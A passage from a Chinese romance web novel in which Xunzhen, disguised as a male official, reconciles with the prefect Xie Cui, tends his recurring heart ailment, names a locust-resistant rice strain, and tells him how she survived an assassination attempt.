“而且,你还是能硬的,说明还有救!我们不要放弃,可以找厉害的大夫慢慢调治,一定能治好的。” “你先让我看一下,看看具体情况,病根儿找着了,我便帮你去外头打听最厉害的男科大夫。” “你放心,我一定不会说出去的。” 寻真安抚似的拍了拍谢漼的肩,道:“让我看一下,嗯?”尾音带上几分哄劝的意味。 谢漼凝视着她,嘴角微弱地抽了一下。 寻真扭动了两下被他按住的手腕:“谢漼?” 谢漼面色很平静:“真儿此话从何说起?” 寻真看他这么平静,便将这两日的担忧对谢漼如实说了。说时,寻真紧盯着他的脸,捕捉到他右脸的肌肉抽动了两下。 看来是被说中了痛处,搞不好心里正尴尬恼怒呢,又碍于面子强装镇定。 男人的尊严嘛,她懂的。 寻真拍拍谢漼的头顶:“没关系的,这都是很正常的现象,大部分男的都这样。”寻真挽住谢漼的手臂,用眼神给他信心,“你别怕,不管你以后怎么样了,我都不会嫌弃你的。” “我们一起面对。” 谢漼又是一阵沉默:“真儿如何得知,许多男子都这样?” 寻真随口胡诌:“呃……我是听一个江 湖游医提起过。” 谢漼:“他是如何跟你说的?” “我忘了,反正就那个意思……”寻真含糊带过,把话题扯回来,“所以你给不给我看?” 说得理直气壮。 谢漼瞧她这副模样,牙根隐隐发痒。 这种感觉,真是许久未曾有了…… 谢漼用力揉了一把寻真的头。 寻真头一歪:“你干嘛?!” 那晚,才与她和好,他心中皆是失而复得的喜悦与满足,怎会生出那等心思? 他又不是禽兽,满脑子只想着床笫之事。 她这脑袋瓜里都装了些什么,怎会想到这上面去?将他误解至此,可恨! 想着,谢漼便抬手,捏住了寻真的脸蛋,扯一扯。 谢漼刚要开口分说,表明自己没有任何问题,却在触及她眼底毫不掩饰的担忧时,突然改了主意。话到嘴边转了个弯,道:“眼下身处吴县,行事多有不便。况且蝗灾尚未彻底平息,实在无暇他顾。” “天就要亮了,若旁人路过,听见瞧见了什么,恐生事端。我们还是谨慎些好。” 寻真:“哦……” 谢漼:“不如等回了州城,再议此事。” 寻真:“好吧。” 寻真心道,完了完了,谢漼竟然没有半点反驳。 看来,那方面是真的出现了问题,而且恐怕还很严重。 怪不得现在的谢漼比以前温柔了很多呢…… 寻真面上不动声色,倾身,环住谢漼的肩,语气坚定道:“谢漼,就算你真的完全不行了,我也不会离开你的。” 谢漼原本心底还恼着,听了这话,瞬间烟消云散。 胸腔里翻涌出汩汩暖意。 谢漼目光灼灼:“当真?此生都不会?” 寻真郑重地点头:“嗯!” 谢漼:“真儿既已应下,便不能食言。” “自然!”寻真吻了吻他的唇角,“时辰不早了,我得走了,晚上再来找你。” 寻真说完,利落地起身下床,穿衣。 她的衣摆扫过他的膝头,远去。谢漼望着那抹身影,心中突然涌起一阵怅然。 昨日只欣喜她愿意回头,还未觉出什么。 寻真走到门口,冲他挥了挥手,笑容明媚。 谢漼却笑不出来,待房门合上,屋内顿时空荡冷清了,心空落落的。 明明近在咫尺,却只能夜里相聚,白日见,需更小心,避人耳目。 往后,难道都要这般偷偷摸摸,见不得光吗…… 可这世间哪有十全十美的事?如今能重新将她拥入怀中,他该知足了,不能再奢求过多。 寻真发现,自从跟谢漼复合了,干活都格外有劲。 每日神采奕奕,精神抖擞的。就算忙了一整天,只要晚上抱一抱、亲一亲谢漼便能马上充满电了。 十日后,吴县的蝗灾终于差不多控制下来了。 这些时日,所有官员都投入到抗蝗的工作中,一日未歇,形势稳定下来了,谢漼便安排官员们轮休三日。 寻真休假那日,整日呆在谢漼房里,偶尔跟谢漼下下棋,累了便躺下。 榻上,寻真枕在谢漼腿上,仰面看书,不时伸手从几上拈起一块肉干。 那几就放在寻真的脸旁,一伸手就能够到。 谢漼也看书,与她不同,即便在完全放松的时候,姿势也是优雅的。 他的手放在她脸侧,偶尔抚一下。 相处愈久,寻真倒是愈发觉得谢漼的性格温和了许多,换作从前,见她这散漫样子,定会嘴痒,忍不住叨叨几句的。 谢璋找寻真找了个空,便跑来谢漼这里。 叩房门,却无人应答,试着一推,发现门被锁住,遂在屋外唤道:“爹。” 寻真拍拍谢漼:“小恒来了。” 谢漼起身开门,门甫一敞开,谢璋便伸长脖子朝里望,看见寻真,眼一亮,忙跑进去,到寻真面前:“娘,你今日这么早就来找爹了?我今早一醒来便去寻你呢。” 寻真瞄了一眼谢漼,谢漼已闩好门,朝里走来。 最近,她跟谢漼每晚都睡在一起,有时在谢漼房中,有时在她那里。 谢漼去她房间的次数多些。每回,天没亮两人就分开了,谢璋才一直没发现。 寻真想了想,还是决定暂时不把这事告诉谢璋。 寻真嗯了一声:“今日醒得早。” 谢璋坐在谢漼先前的位置。 寻真喂他一块肉干。谢璋嚼着,两腮鼓起,慢慢吃着,等吃完了,才开口道:“娘,我昨日又读到一个好故事,讲给你听可好?” 寻真:“好啊。” 谢璋来后,谢漼便坐到案前处理公文,不时将目光投向榻边。 看着寻真与谢璋相依而坐,一个讲,一个听,这般温馨画面,令他心中满溢暖流。 这般在寻常人家稀松平常的天伦之乐,他与真儿却历经重重波折才得以拥有。 想起过往,谢漼不禁暗暗叹了口气。 待谢漼处理完手头公文,见谢璋仍滔滔不绝地讲着。 谢漼走过去,“恒哥儿,上回我给你出的五题,可有答案了?” 谢璋:“都想出来了。”然后将答案一一阐述。 谢漼颔首:“不错。我再出三题,你这便回去想,明日给我答案。” 不料,谢璋眼咕噜一转,看了眼寻真,再看向谢漼,直接道:“爹莫不是想与娘独处,才故意支开我吧?” 寻真没忍住噗嗤一笑。 谢漼瞥了一眼寻真,对谢璋坦然道:“恒哥儿猜得不错。我与你娘刚重修于好,正是如胶似漆之时。” “你已独占你娘许久,接下来的时间,可否让与我?” 谢璋:“好吧,那我走了。娘,我明日再来找你。” 寻真笑着挥挥手:“好。” 谢璋走后,寻真坐到谢漼怀里,谢漼伸手将她搂住。 寻真握住他的右手,目光不经意扫过,发现他掌心有一道疤,边缘锐利,似是被利器刺的。 以前这里是没疤的。 寻真指尖摩挲着那处微微凸起的肌肤,问道:“谢漼,这疤是怎么来的?” 谢漼目光闪动,眼中快速掠过一抹不明情绪。 谢漼淡淡道:“记不清被何物划伤了。” 寻真摸着疤,怎么瞅着,很严重呢。 正欲追问,敲门声再度响起。 门外响起一道熟悉的声音:“使君可在?” 是范岂。 谢漼便起身出去。 谢漼与范岂在外间讨论公务,半个时辰后回来,寻真正坐在塌前,晃着双腿,见他回来,笑着招了招手。 谢漼却在几步外驻足,那目光凉飕飕的,鼻子哼出一气。 寻真:他又抽什么风? 寻真开口问道:“怀逸找你什么事?” 说完这句,谢漼的表情肉眼可见得更差了。 寻真疑惑,开始思索自己刚才那句话有哪里不对。 谢漼道:“你何时与范岂这般熟稔了?” 寻真:“啊?” 旋即恍然,原来是因她唤了范岂的字。 还不是因为这里的习俗,私底下互称表字以示亲近,直呼全名反倒显得不太礼貌。久而久之,她便习惯这么叫了。 寻真起身,拉着谢漼至榻边,将他按下,站在他面前,握住他的下巴,把脸抬起来,与他直视,道:“那我重新问一遍。” “范岂找你什么事?” 谢漼没有说话。 抿着唇,眼中露出几分幽怨。 看到谢漼这模样,寻真觉得新奇,又觉得有点可爱。 寻真忍不住低下头,亲他一口,笑道:“你这是干嘛呀。我可记得,你跟我说过,范岂是成婚了的,我与他不过比寻常同僚稍微亲近些罢了……我从未与他单独吃酒过。” 谢漼:“若他不是有妇之夫,真儿便要与他单独把酒言欢了?” 第143章 第143章“面对” 寻真被他这话一堵,道:“主要还是看合不合得来,合得来的话,就做朋友呗。” “而且我不是答应你了,就算与别人单独吃饭,也不喝酒。” “再说了,我现在是男子,范岂又不是断袖……你就别瞎想了。” 谢漼心道,只怕她是无论如何也瞧不出来。 倒不如将话挑明了,叫她知晓那人心思,如此一来,她自会与他保持分寸。 谢漼:“有一点,真儿怕是不知。” 寻真:“嗯?” 谢漼:“范岂已与王家女和离了。” 王家女。 怎么有点耳熟? 寻真想了一会,问:“王家嫡次孙女?” 谢漼颔首。 寻真又问:“范岂与王家女和离后,他们俩的孩子是不是归王家抚养?” 谢漼:“真儿知道?” 原来那年赶考,她在京中客栈听到的八卦中,那范姓小官竟然是范岂。 寻真:“是我应试时,在京中客栈听旁人说起过。不过那时,我并不知道他们说的是范岂。” “不止这个,我还听说了一件与你有关的事呢。” 谢漼:“何事?” 寻真:“我听说你跟这位王家小姐在议亲。” 确有此事,只是王家主动表达意向,谢二爷问谢漼后,谢漼当即回绝了。 哪成想,竟还传出去了。 谢漼认真注视她,道:“的确有此事,可我既许了你,此后只要你一人,必不背弃。王家来问,我便立刻回绝了。” 寻真哦了一声,有点开心,坐谢漼膝上,啄吻他的唇,在他耳边吹气,轻声道:“做得好。” 谢漼的气息变得粗重起来,低头同她接吻。 被她这么一闹,便完全忘了原本要告诉她的事。 谢漼事后忆起,也不打算再提。 若让她知道范岂曾经向他求娶过她,如今又认出了她的女儿身,反倒徒增烦忧。 虽谢漼心中对范岂此人颇为介怀,又不得不认可,在品行操守上,范岂的确是端方正直之人,不会将她的秘密宣扬出去。便也罢了。 吴县这边稳定下来,官员们准备返回州城。谢漼已将谢璋的户籍和过继手续处理好了,等谢璋再长高些,大概一两年后,寻真便可将他带到人前。至于谢家那边,正好借着蝗灾的由头,“丧事”一切从简,派人送封信回去告知一声便可。 听着谢漼的安排,寻真只有一处担心。 谢漼见她面有忧色,问道:“怎了?” 寻真道:“小恒这两年怎么还是没长个子呢……该不会以后都不长,就这么点了吧?” 谢漼道:“莫忧,我也是十四五时才开始长的。” “是吗……”寻真忽然好奇起来,问,“你小时候长什么样?应该也很好看吧?” 谢漼含笑道:“真儿想看?” 寻真:“嗯!” 谢漼取来纸笔,凭借记忆,描绘自己十岁左右的模样。 很快便画好了。 画中的男孩与谢璋有几分相似,眉眼间透着清冷疏离之气。 眼鼻唇哪里都精致,小时候的颜值就这么高了。 寻真看着画,又瞅瞅谢漼,伸手摸了摸画中小少年的脸,道:“谢漼,这画能不能送给我?你小时候长得也太好看了!” 谢漼笑道:“好。” “真儿,我想为你作幅画。” 寻真道:“好啊,需要我怎么做?摆什么姿势?” 谢漼道:“真儿随意便可。” 寻真哦了一声,上了塌,斜倚,撑腮看着谢漼,弯着眼睛,道:“我可以动吗?” 谢漼:“可以。” 寻真便拿起书,翻看,时而趴着,时而躺着,变换各种姿势。 被人盯着看,还是会有些不自在。 寻真便问:“还没好吗?” 刚才他画自己挺快的啊。 谢漼道:“真儿想做什么就做什么,不用管我。” 寻真继续看书,不知不觉困意袭来,沉沉睡去。迷迷糊糊间,感觉脸颊发痒,伸手一摸,触到温热的肌肤,睁眼。 谢漼在吻她。 寻真搂住他,亲了一会,问:“你画好了吗?” 谢漼嗯了一声,将画拿给她看。 画面里,她翘起一条腿,蜷着脚趾,单手举着书,歪着脸。 选了这么不雅观的一个姿势。 虽然画得很好,但是…… 寻真不禁有些埋怨地看向谢漼,嘟囔道:“你怎么不把我画得更美些?” 谢漼笑着,搂着她,道:“我瞧着却是美极了。” 寻真哼了一声,将画卷起来,夹在腋下:“没收!” 寻真休假,带着谢璋回昆山县。 谢璋这次跟寻真回去,便正式改名为甄恒了。 马车上,寻真拿出一叠五颜六色的彩纸,裁裁剪剪。 甄恒好奇地问:“娘,你在做什么?” 寻真道:“我准备给你做一个风车。” 甄恒哦了一声,拖着腮,认真瞧着。 寻真将彩纸剪成风车叶片,用细线把叶片固定在竹棍上。 寻真一共在竹棍上串起五个风车,颜色自上而下分别是红、黄、青、绿、紫,最后在竹棍最下方系了个小铃铛。 寻真举起风车,递给甄恒,道:“小恒,给你。” 甄恒接过风车,眼中满是惊喜。 寻真看了眼窗外,快到了,便让马车停下。 寻真把包袱斜系在胸前,然后牵着甄恒沿着河岸往家走。甄恒兴奋地举着风车,来回挥舞,五个风车齐齐转动起来。 甄恒轻呼出声,眼睛熠熠闪烁。 寻真停下脚步,站到甄恒面前,膝盖弯曲,微微下蹲,拍了拍自己的后背,道:“小恒,你上来。” 甄恒一愣,道:“我不累,娘,我自己可以走的。” 寻真道:“你先上来。” 甄恒哦了一声,趴到寻真背上,双手搭在她肩上,问:“娘,我重吗?” 心砰砰砰撞着胸膛。 寻真:“一点都不重。” 甄恒:“娘,要是累了,就与我说。” “嗯。”寻真碰了碰他的手,“小恒,抓牢。” 甄恒搂紧了寻真的脖子:“嗯。” 寻真背着甄恒跑了起来,甄恒高高举起竹棍,五彩风车迅速转动起来。 河对岸吹来风,竹棍下方的小铃铛叮叮当当响个不停。 “娘,你看!”甄恒将风车往前伸了伸。 寻真应了一声,加速往前跑。 “背小恒回家咯~” 甄恒笑容灿烂,两只腿微微地晃动着,笑着笑着,他低下头,看着寻真的脸,眼眶渐渐发红,大颗大颗的泪珠砸下来,浸湿了寻真的衣。 寻真急忙停下,侧头一看,甄恒的脸湿漉漉的,覆着一层泪。 她将甄恒放下,半蹲下来,用指腹轻柔地擦他的脸,问:“怎么了?” 甄恒哽咽着道:“娘……我是太开心了……” 甄凌从寻真口中得知她与谢漼和好,虽为他们感到高兴,仍不免担忧,道:“可这般无名无分的,长久下去,终究不妥。” 寻真:“担心这么早干嘛?以后的事以后再说!” 甄凌望向窗外,视线定在甄恒身上,心也慢慢安定下来。 在昆山县呆了两日,便回苏州城,到子城的宅子,当晚,谢漼来了。 天气渐渐热了,寻真又开始担心起谢漼的病,一见到他,便问:“这几日感觉如何?有没有发病?” 谢漼摇头:“真儿不必忧心,上回不是说了,已在慢慢好转。” 尽管谢漼这样说,寻真仍放心不下,时刻留意着他的脸色。 没想到白天还正常,到了夜里,谢漼毫无征兆地发作了。 寻真不知道谢漼的心疾发作起来竟这样吓人。 黑暗中,她察觉到环着自己的手臂在不停颤抖,猛地惊醒,唤了两声谢漼,他没应,只听到压抑的喘息声。 她顿时慌了,下床点烛。 室内亮起来,只见谢漼紧闭双眼,额头遍布细密的汗珠,唇色惨白如纸,浑身止不住地颤抖着。 “谢漼,谢漼……” 寻真拍着谢漼的身体,怎么唤,他都没反应。 寻真打算出去叫人,刚起身,手腕便被谢漼紧紧攥住,拉入怀中。 谢漼微微睁开眼,几不可闻地唤:“真儿……” 寻真:“嗯,我在!” “谢漼,你怎么样?要不要叫大夫来?还是让人去煎药?” 谢漼:“……不用。” 谢漼将她搂得很紧很紧,手臂扣得寻真腰间发痛。 谢漼只短暂清醒了一会,又很快失去了意识,嘴唇不断翕动,声音微弱。 凑近一听,是她的名字。 谢漼不停地唤。 真儿,真儿,真儿…… 寻真缓缓抚他的背,在他耳边不停地回应:“嗯,我在。” 不知过了多久,直到天边泛起鱼肚白,谢漼才停止呓语,箍在她腰间的手也渐渐松开。 寻真一夜没睡,将谢漼的手拉开,见他脸色终于恢复了正常,又摸了摸他的额头,温度不像昨夜那般冰了,紧绷的心才稍微放松了。 寻真用温热的巾帕为他擦脸,随后在他身旁躺下,等他醒来。 谢漼睁开眼,对上寻真含泪的双眸,抬手轻抚她的脸,声音沙哑:“……我没事。” 寻真扑进他怀里:“谢漼,你吓死我了。” 谢漼抱着她,拍了拍:“是我不好,昨日吓到真儿了。” 这一夜,寻真想了很多很多,那些被她刻意回避的,终究还是要面对。 寻真握着谢漼的右手,摩挲着那处凸起的伤疤,问道:“谢漼,能不能告诉我,我 离开后,你都经历了什么?” 第144章 第144章“隐疾” 谢漼启唇道:“那日我……”只说了几字,身子又止不住颤了起来。 那些分明是假的,如今她好好地躺在自己怀中,毫发无损。可每当回想起那些画面,心便会无法抑制地抽搐起来。那些痛苦似是已刻入骨髓。 寻真敏锐察觉到谢漼面色的不对劲,连忙道:“不想了,不想了……”抚着谢漼的胸口,“我也不是很想知道了……” 寻真皱着眉。 每年六月下旬发作,天凉了就好,这种症状倒是有点像创伤后应激障碍…… 谢漼的心疾不是每日发作,大约每两三日一次,每回发病,嘴里总喃喃唤着她的名字。稍微清醒了,便将她紧紧箍在怀中。 一晚,谢漼又发病了,寻真探上他的额头,一片冰凉。 谢漼看着她眸中满是忧色,心中涌起暖意,拥紧了她。 此刻的疼痛,与那日相比不过万分之一。 那时,心被片片撕扯开的感觉,大概这一生都无法忘却。 如今只庆幸,他挺了过来。活着,才有机会再见到她,抱到她。 转眼到了甄恒的十三岁生辰。寻真本想给他好好庆祝一下,因谢漼的病,便没什么心情了。寻真置办了一桌酒菜,三人一起,简单过了生辰。寻真给甄恒打了一块金锁,作为生辰礼。甄恒收到礼很开心,眼睛晶晶亮。 之后,谢漼奔赴各县督理,到七月,终于彻底控制住整个苏州的灾情。 蝗群被截在苏州境内,再未蔓延。 府衙的不少官员们都暗暗窃喜,此次有了政绩,就算不得升迁,也必有丰厚赏赐。 有的心中不禁感慨,若不是长史将先前那个弹劾了,换上谢刺史这般果决的主官,提前布局,几乎以最快的速度除去了蝗,以先前那位的行事风格,苏州府即便能捱过去,恐怕也是损失惨重。若圣上追究起来,他们搞不好连乌纱帽都保不住。 众人得了利,心中便暗暗对范岂肯定起来,也不在背后讽他脑子有病了。 而这其中,最得意的当属潘竞,昆山县受灾不轻,却是抗蝗最成功的县,还有最重要的一点是—— 昆山县的稻,丰收了! 谢漼收到了潘竞的信,抽出时间,带上寻真一道去昆山县。 马车缓缓行驶在乡间小路上,两侧是成片的农田,虽然有些地方还残留着蝗群侵袭的痕迹,但昆山县的生机却格外显眼。 三人下了马车,极目远眺,沉甸甸的稻穗随风摇曳,涌起一片金色稻浪。农民们在田间收割,洋溢着灿烂的笑容。 其实,今年的稻谷产量比去年要少。 因为蝗情,田间便只种了寻真培育出来的新稻,除此之外,百姓们还兼种了芋头、红薯。故稻谷的总产量不如往年。 但令人称奇的是,别县那些偷偷种了稻的农户,今年都颗粒无收。而昆山县不同,稻田虽也遭蝗群侵袭,却极少被啃食,只少部分的稻受了害。 消息传开,邻县纷纷前来讨教,是何稻种,蝗虫竟不喜食? 这稻若是能推广开,以后,岂不是再也不怕蝗害了? 潘竞看向寻真,笑道:“竞舟,不如你来为这稻命名?” 寻真的目光落在随风起伏的稻穗上:“嗯?” 潘竞:“他日若能遍植天下,世人便能皆知此乃你培育之功。” 这稻是寻真培育出来的,潘竞自然不会占用这份功劳,言语间尽是真诚。 当晚,谢漼跟寻真一起回去。 正堂左右两边分别是寻真、甄凌的房间。 这次谢漼来,被寻真牵着进了卧房。 寻真将谢漼按在榻上,每日一问:“怎么样,还好吗?要不要喝药?”说着,贴近仔细打量他的神色。 谢漼看着她,见她眼珠子灵活转着,脸上隐隐布着担忧。 瞧着真是可爱极了。 便生出了几分心思。 谢漼:“无碍,不必服药。” 寻真心想,这病还真是季节性的,自天气转凉,的确没有再发作过了。但是每年夏天来这么一回,长此以往,会对心脏造成不可逆的损伤吧? 照这样看来,其实心理因素占很大的比重。 若能把他的“创伤后应激”治好,或许就能治好他的心疾了? 寻真正思索时,谢漼她搂入怀中,吻上去,从脸颊辗转至唇,深吻。 寻真回应了一会,片刻后轻轻推开他。起身,蹙着眉,大拇指短促地一下下摁着嘴唇,在室内来回踱步,陷入沉思。 谢漼:“真儿。” 寻真:“……嗯。” 谢漼上前握住她的手,问:“在想什么?” 寻真:“想你的病该怎么治呢。” 谢漼:“何病? 寻真点了点他心脏的位置,道:“……不然还有什么?” 谢漼思索片刻,想着如何开口。 将她拉至床畔坐下,开口道:“真儿,今日得闲,不如商议之前搁置的事?” 谢漼提的突兀,寻真没跟他脑回路对上,问道:“什么搁置的事?” 谢漼一本正经道:“我那‘隐疾’,先前真儿不是说要帮我吗?” 寻真嘴巴微微张开,呆了呆,皱眉道:“你这个病又没什么大不了的!当务之急,是把你的心疾治好!这病严重起来,可是要人命的!旁的先放放!” “你心疾都这般严重了,竟还想着这等事!真是!” 寻真想起他发病时脸色煞白冒冷汗,浑身颤抖的样子,哪还有半分绮念。 “先顾好你的心疾要紧!等痊愈后再说这些!” 这语气颇像斥不懂事的孩子。 谢漼一时哑口无言。 入夜,谢漼环着她,心中难耐。 这两个月,虽夜夜同榻而眠,却再无肌肤之亲,一开始,刚与真儿和好,自是没那般想法,只觉抱着她就分外满足了,后来,旧疾复发,只能暂且搁置。 谢漼从背后拥着寻真,手放在她腰间,很快不规矩起来,从衣摆钻入。 寻真的呼吸乱了,转过来,亲了亲谢漼,平复着自己:“为了你的身体,我们还是忍一忍吧。” 谢漼慢慢吻着她的脸,哑着嗓道:“……真儿无须与我一道忍。”手往下。 …… 结束后,心底有种难以言说的感觉。寻真红着脸,钻进他怀里,脸贴着他的,直哼哼。 谢漼听着她这般娇音呖呖,心都软化了,恨不得将她揉进骨血里才好。 谢漼搂得更紧,抚着她的背,吻她的发,低哄两声。 许久,寻真缓过来后,仰起头看谢漼,脸上还残留余热。 寻真:“谢漼……” 谢漼:“嗯。” 寻真注意着他的脸色,开口问道:“谢漼,你以前送我的那些首饰还在么?” 谢漼:“怎了?” 寻真:“虽然我现在不能带了……那些都是你送我的,我想留作纪念。” 谢漼思忖数秒,道:“那些都随葬了,取出不吉。你想要,我再送你新的。” 提起这个,谢漼没有任何异状,面色也平静。 寻真放心了,便继续问:“全部都下葬了吗?” 谢漼:“真儿想问哪个?” 寻真:“就是……你送我的那支……流霞簪,我很喜欢的。” 谢漼的手臂骤然收紧,沉默下来。 寻真摸摸他的脸。 谢漼捉住她的手,放在唇前,亲了一下指尖,道:“在我府中,真儿想要,回州城便取给你。” 寻真:“嗯。” 清晨,下起了小雨,滴滴答答敲着黛瓦。 两人一夜安眠,醒来后,寻真贴在谢漼的胸膛前,听着窗外淅淅沥沥的雨声,心里满是安宁。 视线向下,谢漼的衣襟微微散开。 寻真心念一动,指尖划过,他腹间肌肉紧实又有弹性,有点好摸。寻真时而按一按,时而来回抚。 手再往上,捏住了。 往外揪时,被谢漼攥住手腕,喑哑的声音从头顶传来,透着几分无奈。 “真儿既不肯与我云雨,便不要这般闹我。” 好吧。 寻真松开了手,余光瞄到,眼一亮。 又出现了! 寻真仰头,亲亲他的下巴,道:“谁说我不肯?要是你健健康康的,我就跟你试一下了……还不是为了你的身体着想!” 谢漼捏了捏她的脸:“那就别勾我。” 寻真“哦——”了一声,尾音拖得绵长,打着旋儿,钻进谢漼耳里,还故意用指尖在他胸前画起了圈。 谢漼低头堵住她的唇,将人吻得气喘吁吁,双颊绯红。 用了早膳后,谢漼立在案前练字,寻真主动帮他磨墨。 谢漼沾墨落笔,道:“真儿,可想好给你那稻取什么名儿了?” 寻真:“……没呢。” 她的确有几个想法,不过名字都没什么新意。 “你觉得‘五谷丰登稻’如何?” 谢漼一边挥毫,一边对她说:“不如我帮真儿取?” 寻真:“好啊!你想的一定好!” 谢漼一笑,须臾写完,搁笔,示意寻真看,问道:“真儿觉得此名如何?” 寻真看去,上面写着三个字—— 善美稻。 这字骨力遒劲,若飞瀑出岫,谢漼的书法又精进了。 只是…… 这不太好吧。 寻真:“拿自个儿名字当稻名,会不会太张扬了?” 谢漼笑:“有何不可?” 第145章 第145章“晶莹” 回了州城,寻真直接跟着谢漼去了刺史府。 书房。 谢漼走到书架深处,拿出一个匣子,寻真好奇地探头看去,谢漼打开匣子时,微微侧过身子,一侧肩膀挡住了她的视线,从里面取出流霞簪,合上匣子后,又推回原位。 神神秘秘的。 谢漼将簪子拿来,放到寻真手心。 寻真捏着这簪子,真如谢漼所说,遇烈火不化。 簪子完好无损,跟全新的一样。 寻真看着簪子,那晚惊险的景象顿时在她眼前浮现。 寻真朝书架瞥了一眼,问道:“那匣子里都装了什么?是你的宝贝吗?” 还故意挡着不让她看。 谢漼淡淡道:“只是些零碎物件罢了。” 寻真虽然好奇,见他不愿多说,便不再追问:“哦。” 寻真将簪子举到他眼前:“你帮我带上吧。” 谢漼接过簪子,插入她发间。 寻真照着镜子,她头上梳男髻,插着这么一只华丽的金簪,倒是有种奇异的美感。 寻真站起来,张开手臂,道:“怎么样?好看吗?” 谢漼看着金簪流转的华光,突然一阵晕眩,恍惚间杂乱的记忆闪过脑海。 他看着她嘴唇一张一合,却什么都听不见。 “谢漼,谢漼,谢漼!” 寻真冲上前,揽住了他,面色焦急。 片刻后,谢漼恢复如常。 寻真扶着他坐下,问:“你刚才怎么了?” 谢漼:“无事,只是一时眼晕,许是方才伏案太久,有些劳累。” 入了夜,寻真躺在谢漼的怀里,睡不着,脑海中闪过一个念头。 黑暗中,她唤了谢漼一声。 谢漼:“嗯。” 寻真:“我有事跟你说。” 谢漼:“何事?” 寻真起身下床,点烛,室内顿时明亮起来。 寻真从镜匣中取出流霞簪,在指间慢慢转动着,陷入回忆。 那夜后的几日,寻真脑中时常会浮现这个场景——两个黑影向她逼近,然后她用簪子扎破那人胸口,血溅到她的脸上。 那时只顾着逃命,倒没闲心后怕。 后来日子稳定了,她便刻意将这事淡忘,压在脑海最深处。 见寻真盯着簪子走神,谢漼唤道:“……真儿?” 寻真望向谢漼,开口道:“其实……谢漼,那天若不是我运气好……那场大火烧死的,真的就是我了。” 谢漼攥紧了拳,喉头发涩,说不出话来。 寻真继续道:“我想跟你讲讲那天的事,你……想听吗?” 谢漼声音很低:“嗯。” 寻真一边讲,一边留意着谢漼的神情。 “那日我正好月事来了,申时便睡下了,又因没吃晚膳,便饿醒了。” “当时很晚了,约莫丑时,平日这个时辰我睡得最香呢。” “结果一睁眼,就看见两个黑影从门口进来了……有一个还拿匕首扎我,我就边跟她们打,便往外跑……喊救命啊,救命啊。可是没有人进来帮我。” 说到这儿,寻真停了下来,捏着簪子走近谢漼,在床边坐下。 谢漼目光紧紧跟随她的动作,眼眶有些发红。 “……然后呢。” 他声音哑涩。 “有一人追上我了,扯住了我的头发。”寻真摊开手掌,流霞簪躺在掌心,“然后我就用这支簪子插进了她的心口。” 寻真用掌心包住簪子的尖锐部分,握拳,轻轻往谢漼胸口一按,直视着他。 谢漼的心跳猛地停滞了一瞬。 寻真:“再后来,凌凌便进来帮我了。” “我们一起解决了那两个人。若不是凌凌,我死定了。” 谢漼的拳攥得很紧,他一直不敢问那晚发生的事。 听她讲述,即便语气轻松,也能想象得出,是何等危急的局面。 寻真:“我杀的那人,与我身形相仿,之后我把簪子插在她头上,伪装成我了。” 寻真将簪子放到一边,握住谢漼的手,缓缓地,将他蜷曲的手指一个个舒展开,握上去。 他的掌心满是汗水。 寻真的声音轻柔:“谢漼,我还得谢谢你……你送我的这个簪子帮了我呢。” 谢漼落泪了。 晶莹的泪珠砸到寻真手上。 他的声音极低极低,似有哽咽:“……是么,我帮到真儿了?” 寻真感觉那滴泪坠在她心尖,滚烫,寻真抬手去抹他的泪。 却被他猛地抱入怀中。 谢漼的胸腔急促地颤着,他的手掌贴在她的后背,也在颤。 寻真:“嗯,除了这支簪子,我没有任何武器了……谢漼,多亏了你呢。” “谢漼……” 寻真推他,想瞧瞧他的脸色,却被他抱得死死的,如铁铸搬箍住了她。 渐渐的,寻真的头发湿了,凉意在后背晕染开来,丝丝缕缕沁入肌肤。 寻真缓缓地抚他的背。 “谢漼,没事了,都过去了,我一点伤都没受。” “而且我还偷了你不少钱,所以这些年过得很好。” 听了这话,谢漼直起身,偏过脸,用寝衣的袖口擦泪。 寻真瞧着,心道,擦眼泪都这么优雅。 谢漼擦干了脸上的泪,眼睛仍湿湿的,眼睫毛湿漉漉地纠缠在一起。 轻轻眨动时,泛着细碎的水光。 真好看。 寻真目不转睛地看着。 谢漼:“给你 了,自然就是你的,怎能说偷?” 寻真:“……嗯嗯。” 谢漼重新将她揽入怀里,躺下:“那时,真儿定是吓坏了吧。” 寻真:“嗯,快吓死了。” 谢漼:“……还好上苍庇佑,让我的真儿逃过此难。” 寻真:“若不是这一劫,我也不会有如今这番际遇。你看我,还参加科举,中了二甲进士,做了官……我厉不厉害?” 提到这个,谢漼便忍不住了,道:“真儿哪来这般大的胆子,扮作男子应试,若被人瞧破,好不容易死里逃生,岂不是又要搭进去了?” 寻真:“你就知道说我,怎也不夸夸我,说我厉害呢?” 谢漼吻她的发:“嗯,我真儿之才,这世上无人能及。” 寻真:“哼哼。” 谢漼抚着她脸颊边的发,看她许久,道:“真儿,这些年,你受苦了。” 寻真:“我不苦啊。” 谢漼轻叹一声,不再多说。 寻真突然直起脖子,直直看向谢漼,眼睛亮亮。 谢漼:“怎这么看我?” 寻真:“谢漼,你方才……” 谢漼:“我方才怎么了?” 寻真:“你方才,哭起来好好看!” 谢漼一时无言。 寻真:“怎么你连哭起来都这么好看呢?” 谢漼沉默了一会,忽然抬起右手,掌心对着寻真。 他道:“真儿不是问过我,这疤是如何来的。” 寻真指尖触上去,顺着他的话,问:“怎么来的?” 谢漼:“辨认那具尸首时,一时失神,便刺破了手心。” 寻真摩挲着疤痕,看着谢漼,他面色平静,不见异常。 寻真圈住他的腰,还想问一事,欲言又止。 下一刻,谢漼便解了她心中的疑虑。 “真儿,害你之人是老夫人。” 寻真震惊:“老夫人?” “我跟她无冤无仇,她为什么要害我?” 谢漼:“因为谢进。” 谢漼道出缘由后,寻真呆愣许久,说不出话。 竟然是因为这个,老夫人才要她死…… “算了,不聊过去的事了。” 寻真爬到谢漼的身上,轻啄他的嘴唇。 又舔了一下。 谢漼回吻,与她辗转厮磨。 隔日寻真休息,醒来时,谢漼已不在身边。 外面大亮,日头高悬,约莫快到午时了。 寻真起身穿衣,耳边传来噔噔噔的脚步声,由远及近。 一听便知是甄恒来了。 然后,听见“嘎——”的一声,寻真吓了一跳,转头望去,甄恒僵在门槛前,捂着嘴,脸红红的。 寻真没把那声音与甄恒联系起来,随口问道:“小恒,你刚听到了吗?好似有鸭子叫?” 甄恒闻言,唰的一下,脸带着整个脖子都红透了。 甄恒跺了一下脚,扭头跑了。 三人一起用午膳,甄恒始终一言不发,嘴巴紧紧闭着。 “小恒,你怎么了?莫不是病了?”寻真摸了摸他的额头。 